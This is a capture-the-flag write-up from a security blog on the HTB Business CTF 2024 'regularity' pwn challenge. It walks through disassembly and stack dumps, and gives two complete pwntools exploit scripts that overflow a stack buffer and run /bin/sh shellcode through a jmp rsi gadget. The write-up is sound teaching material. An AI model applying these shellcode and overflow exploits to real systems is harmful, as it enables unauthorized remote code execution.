Skip to main content
Contact us: blog@ukatemi.com
TECHNICAL BLOG ukatemi.com

HTB Business CTF 2024 - pwn - regularity

TL;DR #

Using the read function, we can write our shellcode to the stack and return to a jmp rsi gadget to jump on it, using the 0x10 byte stack buffer overflow.

This challenge was marked very easy (~140 solves) but it took a looong time for me to figure out why. First I came up with a longer solution that didn't work on the remote server, but more on this bellow.

The task #

It is a very basic, static program.

# checksec ./regularity
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX unknown - GNU_STACK missing
    PIE:      No PIE (0x400000)
    Stack:    Executable
    RWX:      Has RWX segments

This is the entry function.

void processEntry entry(void)

{
  write(1,&message1,0x2a);
  read();
  write(1,&message3,0x27);
  syscall();
                    /* WARNING: Bad instruction - Truncating control flow here */
  halt_baddata();
}

The write function is esentially just a syscall.

                     ssize_t __stdcall write(int __fd, void * __buf, size_t __n)
     ssize_t           RAX:8          
     int               EDI:4          __fd
     void *            RSI:8          __buf
     size_t            RDX:8          __n
                     write
00401043 b8 01 00        MOV        EAX,0x1
         00 00
00401048 0f 05           SYSCALL
0040104a c3              RET

The read function is more important as it contains the stack buffer overflow. 0x100 is substracted from RSP by 0x110 is read, which results in a 0x10 (2 addresses) overflow. There is no RBP used, so the return address comes right after our buffer. Another thing to keep in mind is that when we reach RET, RSI still points to our buffer.

                     ssize_t __stdcall read(void)
     ssize_t           RAX:8          
     undefined1        Stack[-0x100...   local_100
                     read  
0040104b 48 81 ec        SUB        RSP,0x100
         00 01 00 00
00401052 b8 00 00        MOV        EAX,0x0
         00 00
00401057 bf 00 00        MOV        EDI,0x0
         00 00
0040105c 48 8d 34 24     LEA        RSI=>local_100,[RSP]
00401060 ba 10 01        MOV        EDX,0x110
         00 00
00401065 0f 05           SYSCALL
00401067 48 81 c4        ADD        RSP,0x100
         00 01 00 00
0040106e c3              RET

Exploit #

The RWX stack is an obvious target, so we load our shellcode to the stack using read and then somehow jump on it. The somehow is the fun part.

Attempt 1 (works locally but not remotely) #

Let's have a look at the stack when we hit the first write syscall.

RSP            = 7ffe22766a68
RETURN ADDRESS = 7ffe22766b68
7ffe22766a60: 0000 0000 0000 0000 0000 0000 0000 0000  ................
7ffe22766a70: 0000 0000 0000 0000 0000 0000 0000 0000  ................
7ffe22766a80: 0000 0000 0000 0000 0000 0000 0000 0000  ................
7ffe22766a90: 0000 0000 0000 0000 0000 0000 0000 0000  ................
7ffe22766aa0: 0000 0000 0000 0000 0000 0000 0000 0000  ................
7ffe22766ab0: 0000 0000 0000 0000 0000 0000 0000 0000  ................
7ffe22766ac0: 0000 0000 0000 0000 0000 0000 0000 0000  ................
7ffe22766ad0: 0000 0000 0000 0000 0000 0000 0000 0000  ................
7ffe22766ae0: 0000 0000 0000 0000 0000 0000 0000 0000  ................
7ffe22766af0: 0000 0000 0000 0000 0000 0000 0000 0000  ................
7ffe22766b00: 0000 0000 0000 0000 0000 0000 0000 0000  ................
7ffe22766b10: 0000 0000 0000 0000 0000 0000 0000 0000  ................
7ffe22766b20: 0000 0000 0000 0000 0000 0000 0000 0000  ................
7ffe22766b30: 0000 0000 0000 0000 0000 0000 0000 0000  ................
7ffe22766b40: 0000 0000 0000 0000 0000 0000 0000 0000  ................
7ffe22766b50: 0000 0000 0000 0000 0000 0000 0000 0000  ................
7ffe22766b60: 0000 0000 0000 0000 1e10 4000 0000 0000  ..........@.....
7ffe22766b70: 0100 0000 0000 0000 f182 7622 fe7f 0000  ..........v"....
7ffe22766b80: 0000 0000 0000 0000 fe82 7622 fe7f 0000  ..........v"....
7ffe22766b90: 2483 7622 fe7f 0000 6283 7622 fe7f 0000  $.v"....b.v"....
7ffe22766ba0: 8683 7622 fe7f 0000 9a83 7622 fe7f 0000  ..v"......v"....
7ffe22766bb0: d083 7622 fe7f 0000 0284 7622 fe7f 0000  ..v"......v"....
7ffe22766bc0: 0d84 7622 fe7f 0000 2084 7622 fe7f 0000  ..v".... .v"....
7ffe22766bd0: 4e84 7622 fe7f 0000 6584 7622 fe7f 0000  N.v"....e.v"....
7ffe22766be0: 7684 7622 fe7f 0000 8684 7622 fe7f 0000  v.v"......v"....
7ffe22766bf0: a384 7622 fe7f 0000 c884 7622 fe7f 0000  ..v"......v"....
7ffe22766c00: d784 7622 fe7f 0000 ec84 7622 fe7f 0000  ..v"......v"....
7ffe22766c10: 2485 7622 fe7f 0000 d285 7622 fe7f 0000  $.v"......v"....
7ffe22766c20: 0b86 7622 fe7f 0000 5386 7622 fe7f 0000  ..v"....S.v"....
7ffe22766c30: 6b86 7622 fe7f 0000 8686 7622 fe7f 0000  k.v"......v"....
7ffe22766c40: 9986 7622 fe7f 0000 a186 7622 fe7f 0000  ..v"......v"....
7ffe22766c50: cf86 7622 fe7f 0000 ff86 7622 fe7f 0000  ..v"......v"....
7ffe22766c60: 1387 7622 fe7f 0000 2087 7622 fe7f 0000  ..v".... .v"....
7ffe22766c70: 3a87 7622 fe7f 0000 5387 7622 fe7f 0000  :.v"....S.v"....
7ffe22766c80: 6387 7622 fe7f 0000 7c87 7622 fe7f 0000  c.v"....|.v"....
7ffe22766c90: 9b87 7622 fe7f 0000 aa87 7622 fe7f 0000  ..v"......v"....
7ffe22766ca0: c387 7622 fe7f 0000 d487 7622 fe7f 0000  ..v"......v"....
7ffe22766cb0: ed87 7622 fe7f 0000 0088 7622 fe7f 0000  ..v"......v"....
7ffe22766cc0: 1e88 7622 fe7f 0000 3b88 7622 fe7f 0000  ..v"....;.v"....
7ffe22766cd0: 4688 7622 fe7f 0000 4e88 7622 fe7f 0000  F.v"....N.v"....
7ffe22766ce0: 6e88 7622 fe7f 0000 df8f 7622 fe7f 0000  n.v"......v"....
7ffe22766cf0: 0000 0000 0000 0000 2100 0000 0000 0000  ........!.......
7ffe22766d00: 00a0 fdfa 2677 0000 3300 0000 0000 0000  ....&w..3.......
7ffe22766d10: 300e 0000 0000 0000 1000 0000 0000 0000  0...............
7ffe22766d20: fffb ebbf 0000 0000 0600 0000 0000 0000  ................
7ffe22766d30: 0010 0000 0000 0000 1100 0000 0000 0000  ................
7ffe22766d40: 6400 0000 0000 0000 0300 0000 0000 0000  d...............
7ffe22766d50: 4000 4000 0000 0000 0400 0000 0000 0000  @.@.............
7ffe22766d60: 3800 0000 0000 0000 0500 0000 0000 0000  8...............
7ffe22766d70: 0400 0000 0000 0000 0700 0000 0000 0000  ................
7ffe22766d80: 0000 0000 0000 0000 0800 0000 0000 0000  ................
7ffe22766d90: 0000 0000 0000 0000 0900 0000 0000 0000  ................
7ffe22766da0: 0010 4000 0000 0000 0b00 0000 0000 0000  ..@.............
7ffe22766db0: e803 0000 0000 0000 0c00 0000 0000 0000  ................
7ffe22766dc0: e803 0000 0000 0000 0d00 0000 0000 0000  ................
7ffe22766dd0: e803 0000 0000 0000 0e00 0000 0000 0000  ................
7ffe22766de0: e803 0000 0000 0000 1700 0000 0000 0000  ................
7ffe22766df0: 0000 0000 0000 0000 1900 0000 0000 0000  ................
7ffe22766e00: 696e 7622 fe7f 0000 1a00 0000 0000 0000  inv"............
7ffe22766e10: 0200 0000 0000 0000 1f00 0000 0000 0000  ................
7ffe22766e20: eb8f 7622 fe7f 0000 0f00 0000 0000 0000  ..v"............
7ffe22766e30: 796e 7622 fe7f 0000 1b00 0000 0000 0000  ynv"............
7ffe22766e40: 1c00 0000 0000 0000 1c00 0000 0000 0000  ................
7ffe22766e50: 2000 0000 0000 0000 0000 0000 0000 0000   ...............
7ffe22766e60: 0000 0000 0000 0000 006f 4015 c8a5 4bc6  .........o@...K.
7ffe22766e70: 6ae8 6d10 9f6c 0246 9278 3836 5f36 3400  j.m..l.F.x86_64.

And with the shellcode loaded to [RSP] (top of stack), without overwriting the original return address (5210 4000 0000 0000):

7ffe22766a60: 0000 0000 0000 0000 6a68 48b8 2f62 696e  ........jhH./bin
7ffe22766a70: 2f2f 2f73 5048 89e7 6872 6901 0181 3424  ///sPH..hri...4$
7ffe22766a80: 0101 0101 31f6 566a 085e 4801 e656 4889  ....1.Vj.^H..VH.
7ffe22766a90: e631 d26a 3b58 0f05 6161 6161 6161 6161  .1.j;X..aaaaaaaa
7ffe22766aa0: 6161 6161 6161 6161 6161 6161 6161 6161  aaaaaaaaaaaaaaaa
7ffe22766ab0: 6161 6161 6161 6161 6161 6161 6161 6161  aaaaaaaaaaaaaaaa
7ffe22766ac0: 6161 6161 6161 6161 6161 6161 6161 6161  aaaaaaaaaaaaaaaa
7ffe22766ad0: 6161 6161 6161 6161 6161 6161 6161 6161  aaaaaaaaaaaaaaaa
7ffe22766ae0: 6161 6161 6161 6161 6161 6161 6161 6161  aaaaaaaaaaaaaaaa
7ffe22766af0: 6161 6161 6161 6161 6161 6161 6161 6161  aaaaaaaaaaaaaaaa
7ffe22766b00: 6161 6161 6161 6161 6161 6161 6161 6161  aaaaaaaaaaaaaaaa
7ffe22766b10: 6161 6161 6161 6161 6161 6161 6161 6161  aaaaaaaaaaaaaaaa
7ffe22766b20: 6161 6161 6161 6161 6161 6161 6161 6161  aaaaaaaaaaaaaaaa
7ffe22766b30: 6161 6161 6161 6161 6161 6161 6161 6161  aaaaaaaaaaaaaaaa
7ffe22766b40: 6161 6161 6161 6161 6161 6161 6161 6161  aaaaaaaaaaaaaaaa
7ffe22766b50: 6161 6161 6161 6161 6161 6161 6161 6161  aaaaaaaaaaaaaaaa
7ffe22766b60: 6161 6161 6161 6161 5210 4000 0000 0000  aaaaaaaaR.@.....

Now the binary is not PIE (Position Independent Executable), but the stack is at a random address nonetheless, so we don't know the address where our shellcode was loaded. One common way to circumvent this is to partially overwrite an existing address in the same memory region (stack in our case). Because numbers and addresses are stored in little-endian order, and the lowest 1.5 bytes are not randomized (segments align to 0x1000), we can overwrite the lowest byte without corruption and overwrite 2 bytes with a 1/16 chance of hitting the exact target address.

As we can only write to the stack, we search there for stack addresses that point close to the area that we control.

For example this address won't work as it points far bellow (to higher address) than where it is. So if we would overwrite the lowest byte, we can reach 7ffe22768200 - 7ffe227682ff range, but our exploit must end with overwriting the lowest byte (f1 at 7ffe22766b78), otherwise we would overwrite other parts of the address as well. So with this address, we cannot make it point to our buffer.

7ffe22766b70: 0100 0000 0000 0000 f182 7622 fe7f 0000  ..........v"....

...

7ffe227682f1: 002e 2f72 6567 756c 6172 6974 7900 414c  ../regularity.AL

There is a good candidate by the end of our hexdump (at 7ffe22766e30). It points just 7ffe22766e79 - 7ffe22766e30 = 0x49 bytes bellow its location. So our overwritten range where we can return to is 7ffe22766e00 -> 7ffe22766eff if we insert relative jump instructions here, we can jump right to the beginning of our exploit code.

7ffe22766e30: 796e 7622 fe7f 0000 1b00 0000 0000 0000  ynv"............
7ffe22766e40: 1c00 0000 0000 0000 1c00 0000 0000 0000  ................
7ffe22766e50: 2000 0000 0000 0000 0000 0000 0000 0000   ...............
7ffe22766e60: 0000 0000 0000 0000 006f 4015 c8a5 4bc6  .........o@...K.
7ffe22766e70: 6ae8 6d10 9f6c 0246 9278 3836 5f36 3400  j.m..l.F.x86_64.

Ok, but how are we going to overwrite so many bytes, when we can only overwrite by 0x10 bytes? Let's take a look again at our read function.

                     ssize_t __stdcall read(void)
     ssize_t           RAX:8          
     undefined1        Stack[-0x100...   local_100
                     read  
0040104b 48 81 ec        SUB        RSP,0x100
         00 01 00 00
00401052 b8 00 00        MOV        EAX,0x0
         00 00
00401057 bf 00 00        MOV        EDI,0x0
         00 00
0040105c 48 8d 34 24     LEA        RSI=>local_100,[RSP]
00401060 ba 10 01        MOV        EDX,0x110
         00 00
00401065 0f 05           SYSCALL
00401067 48 81 c4        ADD        RSP,0x100
         00 01 00 00
0040106e c3              RET

If we return to 00401052, we can skip SUB RSP,0x100 and still have ADD RSP,0x100 at the end, thus moving 0x100 down (to higher addresses) on the stack.

sc = asm(shellcraft.sh())

payload = b''
payload += sc
payload += b'a'*(0x100-len(payload))
payload += p64(0x401052)

p.sendafter(b"days?\n", payload)

But this way, the return address moves 0x100 as well and we need it to point exactly to our partially overwritten address. We can do this by returning to 0040104b SUB RSP,0x100 thus the +0x100 and -0x100 result in 0, but RET still pops one value from the stack, so we can move one QWORD (8 bytes) at a time. This is the code so far:

sc = asm(shellcraft.sh())

payload = b''
payload += sc
payload += b'a'*(0x100-len(payload))
payload += p64(0x401052)

p.sendafter(b"days?\n", payload)

payload = b''
payload += p64(0x401052)*0x22
p.send(payload)

for i in range(0x16):
    payload = b''
    payload += p64(0x40104b)*0x22
    p.send(payload)

payload = b''
payload += p64(0x40104b)*0x21
p.send(payload)

And the stack state at this point.

7ffe22766a60: 0000 0000 0000 0000 6a68 48b8 2f62 696e  ........jhH./bin
7ffe22766a70: 2f2f 2f73 5048 89e7 6872 6901 0181 3424  ///sPH..hri...4$
7ffe22766a80: 0101 0101 31f6 566a 085e 4801 e656 4889  ....1.Vj.^H..VH.
7ffe22766a90: e631 d26a 3b58 0f05 6161 6161 6161 6161  .1.j;X..aaaaaaaa
7ffe22766aa0: 6161 6161 6161 6161 6161 6161 6161 6161  aaaaaaaaaaaaaaaa
7ffe22766ab0: 6161 6161 6161 6161 6161 6161 6161 6161  aaaaaaaaaaaaaaaa
7ffe22766ac0: 6161 6161 6161 6161 6161 6161 6161 6161  aaaaaaaaaaaaaaaa
7ffe22766ad0: 6161 6161 6161 6161 6161 6161 6161 6161  aaaaaaaaaaaaaaaa
7ffe22766ae0: 6161 6161 6161 6161 6161 6161 6161 6161  aaaaaaaaaaaaaaaa
7ffe22766af0: 6161 6161 6161 6161 6161 6161 6161 6161  aaaaaaaaaaaaaaaa
7ffe22766b00: 6161 6161 6161 6161 6161 6161 6161 6161  aaaaaaaaaaaaaaaa
7ffe22766b10: 6161 6161 6161 6161 6161 6161 6161 6161  aaaaaaaaaaaaaaaa
7ffe22766b20: 6161 6161 6161 6161 6161 6161 6161 6161  aaaaaaaaaaaaaaaa
7ffe22766b30: 6161 6161 6161 6161 6161 6161 6161 6161  aaaaaaaaaaaaaaaa
7ffe22766b40: 6161 6161 6161 6161 6161 6161 6161 6161  aaaaaaaaaaaaaaaa
7ffe22766b50: 6161 6161 6161 6161 6161 6161 6161 6161  aaaaaaaaaaaaaaaa
7ffe22766b60: 6161 6161 6161 6161 5210 4000 0000 0000  aaaaaaaaR.@.....
7ffe22766b70: 5210 4000 0000 0000 5210 4000 0000 0000  R.@.....R.@.....
7ffe22766b80: 5210 4000 0000 0000 5210 4000 0000 0000  R.@.....R.@.....
7ffe22766b90: 5210 4000 0000 0000 5210 4000 0000 0000  R.@.....R.@.....
7ffe22766ba0: 5210 4000 0000 0000 5210 4000 0000 0000  R.@.....R.@.....
7ffe22766bb0: 5210 4000 0000 0000 5210 4000 0000 0000  R.@.....R.@.....
7ffe22766bc0: 5210 4000 0000 0000 5210 4000 0000 0000  R.@.....R.@.....
7ffe22766bd0: 5210 4000 0000 0000 5210 4000 0000 0000  R.@.....R.@.....
7ffe22766be0: 5210 4000 0000 0000 5210 4000 0000 0000  R.@.....R.@.....
7ffe22766bf0: 5210 4000 0000 0000 5210 4000 0000 0000  R.@.....R.@.....
7ffe22766c00: 5210 4000 0000 0000 5210 4000 0000 0000  R.@.....R.@.....
7ffe22766c10: 5210 4000 0000 0000 5210 4000 0000 0000  R.@.....R.@.....
7ffe22766c20: 5210 4000 0000 0000 5210 4000 0000 0000  R.@.....R.@.....
7ffe22766c30: 5210 4000 0000 0000 5210 4000 0000 0000  R.@.....R.@.....
7ffe22766c40: 5210 4000 0000 0000 5210 4000 0000 0000  R.@.....R.@.....
7ffe22766c50: 5210 4000 0000 0000 5210 4000 0000 0000  R.@.....R.@.....
7ffe22766c60: 5210 4000 0000 0000 5210 4000 0000 0000  R.@.....R.@.....
7ffe22766c70: 5210 4000 0000 0000 4b10 4000 0000 0000  R.@.....K.@.....
7ffe22766c80: 4b10 4000 0000 0000 4b10 4000 0000 0000  K.@.....K.@.....
7ffe22766c90: 4b10 4000 0000 0000 4b10 4000 0000 0000  K.@.....K.@.....
7ffe22766ca0: 4b10 4000 0000 0000 4b10 4000 0000 0000  K.@.....K.@.....
7ffe22766cb0: 4b10 4000 0000 0000 4b10 4000 0000 0000  K.@.....K.@.....
7ffe22766cc0: 4b10 4000 0000 0000 4b10 4000 0000 0000  K.@.....K.@.....
7ffe22766cd0: 4b10 4000 0000 0000 4b10 4000 0000 0000  K.@.....K.@.....
7ffe22766ce0: 4b10 4000 0000 0000 4b10 4000 0000 0000  K.@.....K.@.....
7ffe22766cf0: 4b10 4000 0000 0000 4b10 4000 0000 0000  K.@.....K.@.....
7ffe22766d00: 4b10 4000 0000 0000 4b10 4000 0000 0000  K.@.....K.@.....
7ffe22766d10: 4b10 4000 0000 0000 4b10 4000 0000 0000  K.@.....K.@.....
7ffe22766d20: 4b10 4000 0000 0000 4b10 4000 0000 0000  K.@.....K.@.....
7ffe22766d30: 4b10 4000 0000 0000 4b10 4000 0000 0000  K.@.....K.@.....
7ffe22766d40: 4b10 4000 0000 0000 4b10 4000 0000 0000  K.@.....K.@.....
7ffe22766d50: 4b10 4000 0000 0000 4b10 4000 0000 0000  K.@.....K.@.....
7ffe22766d60: 4b10 4000 0000 0000 4b10 4000 0000 0000  K.@.....K.@.....
7ffe22766d70: 4b10 4000 0000 0000 4b10 4000 0000 0000  K.@.....K.@.....
7ffe22766d80: 4b10 4000 0000 0000 4b10 4000 0000 0000  K.@.....K.@.....
7ffe22766d90: 4b10 4000 0000 0000 4b10 4000 0000 0000  K.@.....K.@.....
7ffe22766da0: 4b10 4000 0000 0000 4b10 4000 0000 0000  K.@.....K.@.....
7ffe22766db0: 4b10 4000 0000 0000 4b10 4000 0000 0000  K.@.....K.@.....
7ffe22766dc0: 4b10 4000 0000 0000 4b10 4000 0000 0000  K.@.....K.@.....
7ffe22766dd0: 4b10 4000 0000 0000 4b10 4000 0000 0000  K.@.....K.@.....
7ffe22766de0: 4b10 4000 0000 0000 4b10 4000 0000 0000  K.@.....K.@.....
7ffe22766df0: 4b10 4000 0000 0000 4b10 4000 0000 0000  K.@.....K.@.....
7ffe22766e00: 4b10 4000 0000 0000 4b10 4000 0000 0000  K.@.....K.@.....
7ffe22766e10: 4b10 4000 0000 0000 4b10 4000 0000 0000  K.@.....K.@.....
7ffe22766e20: 4b10 4000 0000 0000 4b10 4000 0000 0000  K.@.....K.@.....
7ffe22766e30: 796e 7622 fe7f 0000 1b00 0000 0000 0000  ynv"............
7ffe22766e40: 1c00 0000 0000 0000 1c00 0000 0000 0000  ................
7ffe22766e50: 2000 0000 0000 0000 0000 0000 0000 0000   ...............
7ffe22766e60: 0000 0000 0000 0000 006f 4015 c8a5 4bc6  .........o@...K.
7ffe22766e70: 6ae8 6d10 9f6c 0246 9278 3836 5f36 3400  j.m..l.F.x86_64.

Now RSP = 7ffe22766d30 and RET = 7ffe22766e30 so we can overwrite the range 7ffe22766d30 - 7ffe22766e40. A relative jump instruction is e9 XXXXXXXX (5 bytes long) where XXXXXXXX is a 32 bit integer in little-endian format that denotes the byte offset relative to the NEXT instruction's address. Our target address is the beginning of our shellcode at 7ffe22766a68 so for example to 7ffe22766d30 we are going to write e933fdffff (7ffe22766a68 - (7ffe22766d30 + 5) = fffffd33).

7ffe22766d00: 4b10 4000 0000 0000 4b10 4000 0000 0000  K.@.....K.@.....
7ffe22766d10: 4b10 4000 0000 0000 4b10 4000 0000 0000  K.@.....K.@.....
7ffe22766d20: 4b10 4000 0000 0000 4b10 4000 0000 0000  K.@.....K.@.....
7ffe22766d30: e933 fdff ff00 0000 e92b fdff ff00 0000  .3.......+......
7ffe22766d40: e923 fdff ff00 0000 e91b fdff ff00 0000  .#..............
7ffe22766d50: e913 fdff ff00 0000 e90b fdff ff00 0000  ................
7ffe22766d60: e903 fdff ff00 0000 e9fb fcff ff00 0000  ................
7ffe22766d70: e9f3 fcff ff00 0000 e9eb fcff ff00 0000  ................
7ffe22766d80: e9e3 fcff ff00 0000 e9db fcff ff00 0000  ................
7ffe22766d90: e9d3 fcff ff00 0000 e9cb fcff ff00 0000  ................
7ffe22766da0: e9c3 fcff ff00 0000 e9bb fcff ff00 0000  ................
7ffe22766db0: e9b3 fcff ff00 0000 e9ab fcff ff00 0000  ................
7ffe22766dc0: e9a3 fcff ff00 0000 e99b fcff ff00 0000  ................
7ffe22766dd0: e993 fcff ff00 0000 e98b fcff ff00 0000  ................
7ffe22766de0: e983 fcff ff00 0000 e97b fcff ff00 0000  .........{......
7ffe22766df0: e973 fcff ff00 0000 e96b fcff ff00 0000  .s.......k......
7ffe22766e00: e963 fcff ff00 0000 e95b fcff ff00 0000  .c.......[......
7ffe22766e10: e953 fcff ff00 0000 e94b fcff ff00 0000  .S.......K......
7ffe22766e20: e943 fcff ff00 0000 e93b fcff ff00 0000  .C.......;......
7ffe22766e30: 006e 7622 fe7f 0000 1b00 0000 0000 0000  .nv"............
7ffe22766e40: 1c00 0000 0000 0000 1c00 0000 0000 0000  ................
7ffe22766e50: 2000 0000 0000 0000 0000 0000 0000 0000   ...............
7ffe22766e60: 0000 0000 0000 0000 006f 4015 c8a5 4bc6  .........o@...K.
7ffe22766e70: 6ae8 6d10 9f6c 0246 9278 3836 5f36 3400  j.m..l.F.x86_64.

After the RET, the next instruction is:

7ffe22766e00 e9 63 fc        JMP        7ffe22766a68
             ff ff

And then our shellcode:

7ffe22766a68 6a 68           PUSH       0x68
7ffe22766a6a 48 b8 2f        MOV        RAX,0x732f2f2f6e69622f
             62 69 6e 
             2f 2f 2f 73
7ffe22766a74 50              PUSH       RAX
7ffe22766a75 48 89 e7        MOV        RDI,RSP
7ffe22766a78 68 72 69        PUSH       0x1016972
             01 01
7ffe22766a7d 81 34 24        XOR        dword ptr [RSP],0x1010101
             01 01 01 01
7ffe22766a84 31 f6           XOR        ESI,ESI
7ffe22766a86 56              PUSH       RSI
7ffe22766a87 6a 08           PUSH       0x8
7ffe22766a89 5e              POP        RSI
7ffe22766a8a 48 01 e6        ADD        RSI,RSP
7ffe22766a8d 56              PUSH       RSI
7ffe22766a8e 48 89 e6        MOV        RSI,RSP
7ffe22766a91 31 d2           XOR        EDX,EDX
7ffe22766a93 6a 3b           PUSH       0x3b
7ffe22766a95 58              POP        RAX
7ffe22766a96 0f 05           SYSCALL

And so we get a shell. Of course we need to be a bit lucky, because the address we want to overwrite points 0x49 byte bellow itself. We always overwrite with 00, so if what we overwrite ends in 0x49, 0x39 ... 0x09 we won't hit our jump table. But we should have a good address with a 68.75% chance (if it's acrually fully random).

Here is the full solution:

from pwn import *
from pwnlib.util.cyclic import cyclic_gen
from pwnlib.util.fiddling import enhex, xor
from struct import pack
from pwnlib import shellcraft
from pwnlib.asm import asm

p = None

def run():
    global p
    chall = "./regularity"
    context.binary = chall
    context.log_level = 'debug'
    p = process(chall)
#    p = remote("94.237.59.230", "43639")
    elf = ELF(chall)
#    libc = ELF("libc-2.31.so")

    sc = asm(shellcraft.sh())

    payload = b''
    payload += sc
    payload += b'a'*(0x100-len(payload))
    payload += p64(0x401052)

    p.sendafter(b"days?\n", payload)

    payload = b''
    payload += p64(0x401052)*0x22
    p.send(payload)

    for i in range(0x16):
        payload = b''
        payload += p64(0x40104b)*0x22
        p.send(payload)

    payload = b''
    payload += p64(0x40104b)*0x21
    p.send(payload)

    payload = b''
    for i in range(0x20):
        payload += (b'\xe9'+pack('<i',-0x2cd-i*8)+b'\x00'*3)
    payload += b'\x00'
    p.send(payload)

    p.interactive()

if __name__ == "__main__":
    run()

The real problem is that this is not reliable as the address we partially overwrite is at a different location on the remote machine. I tried on remnux and it was. I adjusted the exploit code for it, but that one didn't work either. So let's move on to the actually working solution.

Attempt 2 #

As you can recall, this challenge was marked very easy so there must be a straightforward way to jump to our shellcode.

And there is, of course. So at the time of read syscall, RSI and RSP both point on our shellcode. And we have a gadget like this:

0x0000000000401041 : jmp rsi

So if we just return to 0x401041 right away, our shellcode gets executed.

The (much shorter) exploit code:

from pwn import *
from pwnlib.util.cyclic import cyclic_gen
from pwnlib.util.fiddling import enhex, xor
from struct import pack
from pwnlib import shellcraft
from pwnlib.asm import asm

p = None

def run():
    global p
    chall = "./regularity"
    context.binary = chall
    context.log_level = 'debug'
#    p = process(chall)
    p = remote("94.237.59.230", "43639")
    elf = ELF(chall)
#    libc = ELF("libc-2.31.so")

    sc = asm(shellcraft.sh())

    payload = b''
    payload += sc
    payload += b'a'*(0x100-len(payload))
    payload += p64(0x401041)

    p.sendafter(b"days?\n", payload)

    p.interactive()

if __name__ == "__main__":
    run()

Want to message us? Contact us: blog@ukatemi.com